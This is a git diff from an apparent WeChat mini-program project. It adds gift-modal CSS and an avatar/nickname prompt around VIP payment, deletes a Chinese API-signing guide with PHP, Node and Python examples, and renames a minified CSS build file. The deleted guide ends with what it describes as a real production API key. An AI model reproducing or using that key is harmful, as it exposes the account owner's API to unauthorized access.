rgba(255, 255, 255, 0.06); + border: 1rpx solid rgba(255, 255, 255, 0.08); + border-radius: 24rpx; + margin-bottom: 32rpx; +} +.gift-article-title { + font-size: 32rpx; + font-weight: 700; + color: #fff; + display: block; + line-height: 1.3; + margin-bottom: 10rpx; +} +.gift-article-desc { + font-size: 24rpx; + color: rgba(255, 255, 255, 0.55); + display: block; + line-height: 1.5; +} +.gift-spots-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 18rpx; + margin-bottom: 28rpx; +} +.gift-spot-btn { + text-align: center; + padding: 22rpx 0; + border-radius: 20rpx; + background: rgba(255, 255, 255, 0.06); + border: 1rpx solid rgba(255, 255, 255, 0.1); + color: rgba(255, 255, 255, 0.85); + font-weight: 600; + font-size: 28rpx; +} +.gift-spot-active { + border-color: rgba(0, 206, 209, 0.9); + color: #00CED1; + background: rgba(0, 206, 209, 0.12); +} +.gift-price-box { + padding: 26rpx; + border-radius: 24rpx; + background: rgba(0, 0, 0, 0.25); + border: 1rpx solid rgba(255, 255, 255, 0.08); + margin-bottom: 28rpx; + text-align: center; +} +.gift-price-label { + font-size: 22rpx; + color: rgba(255, 255, 255, 0.5); + display: block; + margin-bottom: 10rpx; +} +.gift-price-row { + display: flex; + align-items: baseline; + justify-content: center; + gap: 14rpx; +} +.gift-price-formula { + font-size: 24rpx; + color: rgba(0, 206, 209, 0.8); +} +.gift-price-total { + font-size: 44rpx; + font-weight: 800; + color: #00CED1; +} +.gift-pay-btn { + width: 100%; + border-radius: 999rpx; + background: #00CED1; + color: #000; + font-weight: 800; + font-size: 32rpx; + padding: 26rpx 0; +} +.gift-cancel-text { + text-align: center; + margin-top: 18rpx; + font-size: 26rpx; + color: rgba(255, 255, 255, 0.45); +} +.gift-paid-wrap { + padding-top: 8rpx; +} +.gift-paid-tip { + display: block; + font-size: 26rpx; + color: rgba(255, 255, 255, 0.7); + line-height: 1.6; + margin-bottom: 24rpx; +} +.gift-share-btn { + width: 100%; + border-radius: 999rpx; + background: rgba(0, 206, 209, 0.12); + border: 1rpx solid rgba(0, 206, 209, 0.45); + color: #00CED1; + font-weight: 800; + font-size: 32rpx; + padding: 26rpx 0; +} + .share-modal-desc { font-size: 28rpx; color: rgba(255, 255, 255, 0.6); diff --git a/miniprogram/pages/vip/vip.js b/miniprogram/pages/vip/vip.js index 162390e1..0a44a225 100644 --- a/miniprogram/pages/vip/vip.js +++ b/miniprogram/pages/vip/vip.js @@ -85,6 +85,20 @@ Page({ return } } + // 支付前:若头像/昵称仍为默认值,引导先完善(仅头像+昵称) + if (this._shouldGuideAvatarNickname()) { + wx.showModal({ + title: '完善资料', + content: '开通超级个体前,请先设置头像和昵称,让他人更好地认识你', + confirmText: '去完善', + cancelText: '稍后', + success: (res) => { + if (res.confirm) wx.navigateTo({ url: '/pages/avatar-nickname/avatar-nickname' }) + } + }) + return + } + this.setData({ purchasing: true }) const amount = this.data.price try { @@ -158,12 +172,26 @@ Page({ if (typeof p.initUserStatus === 'function') p.initUserStatus() else if (typeof p.updateUserStatus === 'function') p.updateUserStatus() }) + + // 开通成功后兜底:仍为默认头像/昵称则引导完善 + if (this._shouldGuideAvatarNickname()) { + wx.navigateTo({ url: '/pages/avatar-nickname/avatar-nickname' }) + } } catch (e) { console.error('[VIP] 支付后同步失败:', e) } wx.hideLoading() }, + _shouldGuideAvatarNickname() { + const user = app.globalData.userInfo || {} + const avatar = (user.avatar || user.avatarUrl || '').trim() + const nickname = (user.nickname || user.nickName || '').trim() + // 与 ruleEngine.checkRule_FillAvatar 保持同口径(允许前端兜底) + if (avatar && !avatar.includes('default') && nickname && nickname !== '微信用户' && !nickname.startsWith('微信用户')) return false + return true + }, + goBack() { getApp().goBackOrToHome() }, onShareAppMessage() { diff --git a/open-api-sign.md b/open-api-sign.md deleted file mode 100644 index 8d113d41..00000000 --- a/open-api-sign.md +++ /dev/null @@ -1,238 +0,0 @@ -# 存客宝开放 API — 鉴权规范(V1) - -> 适用接口:`/v1/open/*` - ---- - -## 〇、存客宝 API 区分说明 - -存客宝存在**两套 API**,互不通用: - -| 类型 | 路径 | 鉴权方式 | 使用场景 | -|------|------|----------|----------| -| **内部 API** | `/v1/api/scenarios` | apiKey + timestamp + sign(query 传参),**无需 JWT** | 小程序首页「链接卡若」、文章 @ 人物留资等 | -| **开放 API** | `/v1/open/*` | 先 `POST /v1/open/auth/token` 获取 JWT,再 `Authorization: Bearer ` | 本文档规范,需签名与加密 | - -当前 Soul 项目「链接卡若」使用的是**内部 API**,与本文档的开放 API 不同。 - ---- - -## 一、整体流程 - -``` -第一步 POST /v1/open/auth/token - 携带:apiKey + account + timestamp + sign - 服务端验签后返回 JWT Token(有效期 2 小时) - │ - ▼ -第二步 POST /v1/open/scenarios (或其他业务接口) - Header: Authorization: Bearer - 无需再传 apiKey / sign,与存客宝内部接口完全兼容 -``` - ---- - -## 二、API Key 说明 - -| 属性 | 描述 | -|--------------|----------------------------------------------------------------| -| **颁发对象** | 每个存客宝账号(`ck_users`)一把专属 API Key | -| **格式** | `5 组 × 5 位`,大小写字母 + 数字,组间以 `-` 分隔 | -| **示例** | `aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3` | -| **获取方式** | 门店端 → 用户中心 → 对外接口 → 查看/生成 API Key | -| **有效期** | 永久有效,可随时点击"重新生成"覆盖旧 Key(旧 Key 立即失效) | - ---- - -## 三、第一步:获取 JWT Token - -### 接口 - -``` -POST /v1/open/auth/token -Content-Type: application/json -``` - -### 请求参数 - -| 字段 | 类型 | 必填 | 说明 | -|-------------|--------|------|---------------------------------------------------| -| `apiKey` | string | 是 | 账号专属 API Key | -| `account` | string | 是 | 登录账号(`ck_users.account`) | -| `timestamp` | int | 是 | 当前秒级 Unix 时间戳(与服务器时差不超过 5 分钟)| -| `sign` | string | 是 | 签名值,生成方式见下方 | - -### 签名算法 - -只有三个固定字段参与签名,业务参数不参与: - -``` -stringToSign = account值 + timestamp值 ← 字段名 ASCII 升序,直接拼接值 -firstMd5 = MD5(stringToSign) -sign = MD5(firstMd5 + apiKey) -``` - -> `account` < `timestamp`(ASCII 升序),所以拼接顺序固定为:`account值 + timestamp值` - -### 成功响应 - -```json -{ - "code": 200, - "message": "success", - "data": { - "token": "eyJ...", - "expires_in": 7200 - } -} -``` - -### 常见错误 - -| code | message | 原因 | -|------|-----------------|----------------------------------------| -| 400 | apiKey不能为空 | 未传 `apiKey` | -| 400 | account不能为空 | 未传 `account` | -| 400 | sign不能为空 | 未传 `sign` | -| 400 | timestamp不能为空 | 未传 `timestamp` | -| 400 | 请求已过期 | `timestamp` 与服务器时差超 5 分钟 | -| 401 | 无效的apiKey | Key 不存在、账号不匹配或账号已禁用 | -| 401 | 签名验证失败 | account / timestamp / apiKey 值有误 | - ---- - -## 四、第二步:调用业务接口 - -拿到 Token 后,所有 `/v1/open/*` 接口在 HTTP Header 中携带: - -``` -Authorization: Bearer -``` - -不再需要 `apiKey`、`sign`、`timestamp` 参数。 - -Token 过期(2 小时)后重新请求 `/v1/open/auth/token` 换新 Token。 - ---- - -## 五、示例代码 - -### PHP - -```php -$apiKey = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3'; -$account = 'user001'; -$timestamp = (string)time(); - -// 生成签名 -$stringToSign = $account . $timestamp; // account < timestamp(ASCII) -$firstMd5 = md5($stringToSign); -$sign = md5($firstMd5 . $apiKey); - -// 获取 Token -$response = file_get_contents('https://ckbapi.quwanzhi.com/v1/open/auth/token', false, - stream_context_create(['http' => [ - 'method' => 'POST', - 'header' => 'Content-Type: application/json', - 'content' => json_encode(compact('apiKey', 'account', 'timestamp', 'sign')), - ]]) -); -$token = json_decode($response, true)['data']['token']; - -// 调用业务接口 -$response2 = file_get_contents('https://ckbapi.quwanzhi.com/v1/open/scenarios', false, - stream_context_create(['http' => [ - 'method' => 'POST', - 'header' => "Authorization: Bearer {$token}\r\nContent-Type: application/json", - 'content' => json_encode([ - 'planId' => 42, - 'phone' => '13800000000', - 'name' => '张三', - 'source' => '百度推广', - ]), - ]]) -); -``` - -### JavaScript / Node.js - -```javascript -const crypto = require('crypto'); - -const apiKey = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3'; -const account = 'user001'; -const timestamp = String(Math.floor(Date.now() / 1000)); - -// 签名 -const firstMd5 = crypto.createHash('md5').update(account + timestamp, 'utf8').digest('hex'); -const sign = crypto.createHash('md5').update(firstMd5 + apiKey, 'utf8').digest('hex'); - -// 获取 Token -const res = await fetch('https://ckbapi.quwanzhi.com/v1/open/auth/token', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ apiKey, account, timestamp, sign }), -}); -const { token } = (await res.json()).data; - -// 调用业务接口 -const res2 = await fetch('https://ckbapi.quwanzhi.com/v1/open/scenarios', { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, - body: JSON.stringify({ planId: 42, phone: '13800000000', name: '张三' }), -}); -``` - -### Python - -```python -import hashlib, time, requests - -api_key = 'aB3k9-Z8c1Q-0f4Xk-M9n2P-1A2b3' -account = 'user001' -timestamp = str(int(time.time())) - -# 签名 -first_md5 = hashlib.md5((account + timestamp).encode()).hexdigest() -sign = hashlib.md5((first_md5 + api_key).encode()).hexdigest() - -# 获取 Token -r = requests.post('https://ckbapi.quwanzhi.com/v1/open/auth/token', - json={'apiKey': api_key, 'account': account, - 'timestamp': timestamp, 'sign': sign}) -token = r.json()['data']['token'] - -# 调用业务接口 -r2 = requests.post('https://ckbapi.quwanzhi.com/v1/open/scenarios', - headers={'Authorization': f'Bearer {token}'}, - json={'planId': 42, 'phone': '13800000000', 'name': '张三'}) -``` - ---- - -## 六、签名自测用例 - -| 字段 | 值 | -|-----------|------------------------------------| -| apiKey | `TestKey-12345-ABCDE-67890-xYzWv` | -| account | `user001` | -| timestamp | `1710000000` | - -计算过程: - -``` -stringToSign = "user001" + "1710000000" = "user0011710000000" -firstMd5 = MD5("user0011710000000") -sign = MD5(firstMd5 + "TestKey-12345-ABCDE-67890-xYzWv") -``` - ---- - -## 七、项目配置(当前密钥) - -> ⚠️ **安全提醒**:本文件含真实密钥,请勿推送到公共仓库。建议将 `open-api-sign.md` 加入 `.gitignore`,或改用环境变量 `CKB_API_KEY` 存储。 - -| 字段 | 值 | -|--------|--------------------------------------| -| apiKey | `mI9Ol-NO6cS-ho3Py-7Pj22-WyK3A` | -| account| 需与存客宝账号(`ck_users.account`)对应 | diff --git a/soul-admin/dist/assets/index-o3d5k2lQ.css b/soul-admin/dist/assets/index-BgHLp2oy.css similarity index 80% rename from soul-admin/dist/assets/index-o3d5k2lQ.css rename to soul-admin/dist/assets/index-BgHLp2oy.css index 7cbeb38f..f26540b4 100644 --- a/soul-admin/dist/assets/index-o3d5k2lQ.css +++ b/soul-admin/dist/assets/index-BgHLp2oy.css @@ -1 +1 @@ -.rich-editor-wrapper{border:1px solid #374151;border-radius:.5rem;background:#0a1628;overflow:hidden}.rich-editor-toolbar{display:flex;align-items:center;gap:2px;padding:6px 8px;border-bottom:1px solid #374151;background:#0f1d32;flex-wrap:wrap}.toolbar-group{display:flex;align-items:center;gap:1px}.toolbar-divider{width:1px;height:20px;background:#374151;margin:0 4px}.rich-editor-toolbar button{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer;transition:all .15s}.rich-editor-toolbar button:hover{background:#1f2937;color:#d1d5db}.rich-editor-toolbar button.is-active{background:#38bdac33;color:#38bdac}.rich-editor-toolbar button:disabled{opacity:.3;cursor:not-allowed}.link-tag-select{background:#0a1628;border:1px solid #374151;color:#d1d5db;font-size:12px;padding:2px 6px;border-radius:4px;cursor:pointer;max-width:160px}.link-input-bar{display:flex;align-items:center;gap:4px;padding:4px 8px;border-bottom:1px solid #374151;background:#0f1d32}.link-input{flex:1;background:#0a1628;border:1px solid #374151;color:#fff;padding:4px 8px;border-radius:4px;font-size:13px}.link-confirm,.link-remove{padding:4px 10px;border-radius:4px;border:none;font-size:12px;cursor:pointer}.link-confirm{background:#38bdac;color:#fff}.link-remove{background:#374151;color:#9ca3af}.rich-editor-content{min-height:450px;max-height:720px;overflow-y:auto;padding:12px 16px;color:#e5e7eb;font-size:14px;line-height:1.7}.rich-editor-content:focus{outline:none}.rich-editor-content h1{font-size:1.5em;font-weight:700;margin:.8em 0 .4em;color:#fff}.rich-editor-content h2{font-size:1.3em;font-weight:600;margin:.7em 0 .3em;color:#fff}.rich-editor-content h3{font-size:1.15em;font-weight:600;margin:.6em 0 .3em;color:#fff}.rich-editor-content p{margin:.4em 0}.rich-editor-content strong{color:#fff}.rich-editor-content code{background:#1f2937;padding:2px 6px;border-radius:3px;font-size:.9em;color:#38bdac}.rich-editor-content pre{background:#1f2937;padding:12px;border-radius:6px;overflow-x:auto;margin:.6em 0}.rich-editor-content blockquote{border-left:3px solid #38bdac;padding-left:12px;margin:.6em 0;color:#9ca3af}.rich-editor-content ul,.rich-editor-content ol{padding-left:1.5em;margin:.4em 0}.rich-editor-content li{margin:.2em 0}.rich-editor-content hr{border:none;border-top:1px solid #374151;margin:1em 0}.rich-editor-content img{max-width:100%;border-radius:6px;margin:.5em 0}.rich-editor-content a,.rich-link{color:#38bdac;text-decoration:underline;cursor:pointer}.rich-editor-content table{border-collapse:collapse;width:100%;margin:.5em 0}.rich-editor-content th,.rich-editor-content td{border:1px solid #374151;padding:6px 10px;text-align:left}.rich-editor-content th{background:#1f2937;font-weight:600}.rich-editor-content .ProseMirror-placeholder:before{content:attr(data-placeholder);color:#6b7280;float:left;height:0;pointer-events:none}.mention-tag{background:#38bdac26;color:#38bdac;border-radius:4px;padding:1px 4px;font-weight:500}.link-tag-node{background:#ffd7001f;color:gold;border-radius:4px;padding:1px 4px;font-weight:500;cursor:default;-webkit-user-select:all;user-select:all}.mention-popup{position:fixed;z-index:9999;background:#1a2638;border:1px solid #374151;border-radius:8px;padding:4px;min-width:180px;max-height:240px;overflow-y:auto;box-shadow:0 4px 20px #0006}.mention-item{display:flex;align-items:center;justify-content:space-between;padding:6px 10px;border-radius:4px;cursor:pointer;color:#d1d5db;font-size:13px}.mention-item:hover,.mention-item.is-selected{background:#38bdac26;color:#38bdac}.mention-name{font-weight:500}.mention-id{font-size:11px;color:#6b7280}.bubble-menu{display:flex;gap:2px;background:#1a2638;border:1px solid #374151;border-radius:6px;padding:4px;box-shadow:0 4px 12px #0000004d}.bubble-menu button{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer}.bubble-menu button:hover{background:#1f2937;color:#d1d5db}.bubble-menu button.is-active{color:#38bdac}/*! tailwindcss v4.1.18 | MIT License | https://tailwindcss.com */@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-scale-x:1;--tw-scale-y:1;--tw-scale-z:1;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-pan-x:initial;--tw-pan-y:initial;--tw-pinch-zoom:initial;--tw-space-y-reverse:0;--tw-space-x-reverse:0;--tw-divide-x-reverse:0;--tw-border-style:solid;--tw-divide-y-reverse:0;--tw-gradient-position:initial;--tw-gradient-from:#0000;--tw-gradient-via:#0000;--tw-gradient-to:#0000;--tw-gradient-stops:initial;--tw-gradient-via-stops:initial;--tw-gradient-from-position:0%;--tw-gradient-via-position:50%;--tw-gradient-to-position:100%;--tw-leading:initial;--tw-font-weight:initial;--tw-tracking:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-duration:initial}}}@layer theme{:root,:host{--font-sans:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--font-mono:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--color-red-100:oklch(93.6% .032 17.717);--color-red-300:oklch(80.8% .114 19.571);--color-red-400:oklch(70.4% .191 22.216);--color-red-500:oklch(63.7% .237 25.331);--color-red-600:oklch(57.7% .245 27.325);--color-red-700:oklch(50.5% .213 27.518);--color-red-800:oklch(44.4% .177 26.899);--color-red-900:oklch(39.6% .141 25.723);--color-orange-300:oklch(83.7% .128 66.29);--color-orange-400:oklch(75% .183 55.934);--color-orange-500:oklch(70.5% .213 47.604);--color-orange-600:oklch(64.6% .222 41.116);--color-amber-200:oklch(92.4% .12 95.746);--color-amber-300:oklch(87.9% .169 91.605);--color-amber-400:oklch(82.8% .189 84.429);--color-amber-500:oklch(76.9% .188 70.08);--color-amber-600:oklch(66.6% .179 58.318);--color-yellow-400:oklch(85.2% .199 91.936);--color-yellow-500:oklch(79.5% .184 86.047);--color-green-300:oklch(87.1% .15 154.449);--color-green-400:oklch(79.2% .209 151.711);--color-green-500:oklch(72.3% .219 149.579);--color-green-600:oklch(62.7% .194 149.214);--color-green-700:oklch(52.7% .154 150.069);--color-emerald-400:oklch(76.5% .177 163.223);--color-emerald-500:oklch(69.6% .17 162.48);--color-cyan-400:oklch(78.9% .154 211.53);--color-cyan-500:oklch(71.5% .143 215.221);--color-sky-200:oklch(90.1% .058 230.902);--color-sky-300:oklch(82.8% .111 230.318);--color-blue-300:oklch(80.9% .105 251.813);--color-blue-400:oklch(70.7% .165 254.624);--color-blue-500:oklch(62.3% .214 259.815);--color-purple-400:oklch(71.4% .203 305.504);--color-purple-500:oklch(62.7% .265 303.9);--color-rose-400:oklch(71.2% .194 13.428);--color-gray-200:oklch(92.8% .006 264.531);--color-gray-300:oklch(87.2% .01 258.338);--color-gray-400:oklch(70.7% .022 261.325);--color-gray-500:oklch(55.1% .027 264.364);--color-gray-600:oklch(44.6% .03 256.802);--color-gray-700:oklch(37.3% .034 259.733);--color-gray-800:oklch(27.8% .033 256.848);--color-black:#000;--color-white:#fff;--spacing:.25rem;--container-xs:20rem;--container-sm:24rem;--container-md:28rem;--container-lg:32rem;--container-2xl:42rem;--container-3xl:48rem;--container-4xl:56rem;--text-xs:.75rem;--text-xs--line-height:calc(1/.75);--text-sm:.875rem;--text-sm--line-height:calc(1.25/.875);--text-base:1rem;--text-base--line-height: 1.5 ;--text-lg:1.125rem;--text-lg--line-height:calc(1.75/1.125);--text-xl:1.25rem;--text-xl--line-height:calc(1.75/1.25);--text-2xl:1.5rem;--text-2xl--line-height:calc(2/1.5);--text-3xl:1.875rem;--text-3xl--line-height: 1.2 ;--text-4xl:2.25rem;--text-4xl--line-height:calc(2.5/2.25);--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--font-weight-bold:700;--tracking-tight:-.025em;--tracking-wider:.05em;--leading-tight:1.25;--leading-relaxed:1.625;--radius-sm:.25rem;--radius-md:.375rem;--radius-lg:.5rem;--radius-xl:.75rem;--radius-2xl:1rem;--animate-spin:spin 1s linear infinite;--blur-xl:24px;--blur-3xl:64px;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4,0,.2,1);--default-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--default-mono-font-family:var(--font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;line-height:1.5;font-family:var(--default-font-family,ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring{outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){-webkit-appearance:button;-moz-appearance:button;appearance:button}::file-selector-button{-webkit-appearance:button;-moz-appearance:button;appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.pointer-events-none{pointer-events:none}.collapse{visibility:collapse}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.not-sr-only{clip-path:none;white-space:normal;width:auto;height:auto;margin:0;padding:0;position:static;overflow:visible}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:calc(var(--spacing)*0)}.-top-2\.5{top:calc(var(--spacing)*-2.5)}.top-0{top:calc(var(--spacing)*0)}.top-1\/2{top:50%}.top-1\/4{top:25%}.top-4{top:calc(var(--spacing)*4)}.top-16{top:calc(var(--spacing)*16)}.top-\[50\%\]{top:50%}.top-full{top:100%}.right-0{right:calc(var(--spacing)*0)}.right-1{right:calc(var(--spacing)*1)}.right-1\/4{right:25%}.right-4{right:calc(var(--spacing)*4)}.bottom-1\/4{bottom:25%}.-left-2\.5{left:calc(var(--spacing)*-2.5)}.left-0{left:calc(var(--spacing)*0)}.left-1\/4{left:25%}.left-2{left:calc(var(--spacing)*2)}.left-3{left:calc(var(--spacing)*3)}.left-\[50\%\]{left:50%}.isolate{isolation:isolate}.isolation-auto{isolation:auto}.z-10{z-index:10}.z-50{z-index:50}.col-span-2{grid-column:span 2/span 2}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.-mx-2{margin-inline:calc(var(--spacing)*-2)}.-mx-8{margin-inline:calc(var(--spacing)*-8)}.mx-20{margin-inline:calc(var(--spacing)*20)}.mx-auto{margin-inline:auto}.-mt-6{margin-top:calc(var(--spacing)*-6)}.mt-0{margin-top:calc(var(--spacing)*0)}.mt-0\.5{margin-top:calc(var(--spacing)*.5)}.mt-1{margin-top:calc(var(--spacing)*1)}.mt-1\.5{margin-top:calc(var(--spacing)*1.5)}.mt-2{margin-top:calc(var(--spacing)*2)}.mt-3{margin-top:calc(var(--spacing)*3)}.mt-4{margin-top:calc(var(--spacing)*4)}.mt-6{margin-top:calc(var(--spacing)*6)}.mt-8{margin-top:calc(var(--spacing)*8)}.mr-1{margin-right:calc(var(--spacing)*1)}.mr-2{margin-right:calc(var(--spacing)*2)}.mr-3{margin-right:calc(var(--spacing)*3)}.mr-auto{margin-right:auto}.mb-1{margin-bottom:calc(var(--spacing)*1)}.mb-1\.5{margin-bottom:calc(var(--spacing)*1.5)}.mb-2{margin-bottom:calc(var(--spacing)*2)}.mb-3{margin-bottom:calc(var(--spacing)*3)}.mb-4{margin-bottom:calc(var(--spacing)*4)}.mb-5{margin-bottom:calc(var(--spacing)*5)}.mb-6{margin-bottom:calc(var(--spacing)*6)}.mb-8{margin-bottom:calc(var(--spacing)*8)}.ml-1{margin-left:calc(var(--spacing)*1)}.ml-2{margin-left:calc(var(--spacing)*2)}.ml-4{margin-left:calc(var(--spacing)*4)}.ml-6{margin-left:calc(var(--spacing)*6)}.ml-auto{margin-left:auto}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.line-clamp-3{-webkit-line-clamp:3;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.block{display:block}.contents{display:contents}.flex{display:flex}.flow-root{display:flow-root}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline\!{display:inline!important}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.inline-table{display:inline-table}.list-item{display:list-item}.table{display:table}.table\!{display:table!important}.table-caption{display:table-caption}.table-cell{display:table-cell}.table-column{display:table-column}.table-column-group{display:table-column-group}.table-footer-group{display:table-footer-group}.table-header-group{display:table-header-group}.table-row{display:table-row}.table-row-group{display:table-row-group}.size-4{width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.size-8{width:calc(var(--spacing)*8);height:calc(var(--spacing)*8)}.size-9{width:calc(var(--spacing)*9);height:calc(var(--spacing)*9)}.size-10{width:calc(var(--spacing)*10);height:calc(var(--spacing)*10)}.h-0\.5{height:calc(var(--spacing)*.5)}.h-1\.5{height:calc(var(--spacing)*1.5)}.h-2{height:calc(var(--spacing)*2)}.h-3{height:calc(var(--spacing)*3)}.h-3\.5{height:calc(var(--spacing)*3.5)}.h-4{height:calc(var(--spacing)*4)}.h-5{height:calc(var(--spacing)*5)}.h-6{height:calc(var(--spacing)*6)}.h-7{height:calc(var(--spacing)*7)}.h-8{height:calc(var(--spacing)*8)}.h-9{height:calc(var(--spacing)*9)}.h-10{height:calc(var(--spacing)*10)}.h-12{height:calc(var(--spacing)*12)}.h-16{height:calc(var(--spacing)*16)}.h-20{height:calc(var(--spacing)*20)}.h-24{height:calc(var(--spacing)*24)}.h-96{height:calc(var(--spacing)*96)}.h-\[75vh\]{height:75vh}.h-auto{height:auto}.h-full{height:100%}.h-screen{height:100vh}.max-h-48{max-height:calc(var(--spacing)*48)}.max-h-96{max-height:calc(var(--spacing)*96)}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-\[250px\]{max-height:250px}.max-h-\[300px\]{max-height:300px}.max-h-\[400px\]{max-height:400px}.max-h-none{max-height:none}.min-h-0{min-height:calc(var(--spacing)*0)}.min-h-8{min-height:calc(var(--spacing)*8)}.min-h-\[32px\]{min-height:32px}.min-h-\[40px\]{min-height:40px}.min-h-\[60vh\]{min-height:60vh}.min-h-\[72px\]{min-height:72px}.min-h-\[80px\]{min-height:80px}.min-h-\[100px\]{min-height:100px}.min-h-\[120px\]{min-height:120px}.min-h-\[260px\]{min-height:260px}.min-h-\[400px\]{min-height:400px}.min-h-full{min-height:100%}.min-h-screen{min-height:100vh}.w-0\.5{width:calc(var(--spacing)*.5)}.w-2{width:calc(var(--spacing)*2)}.w-3{width:c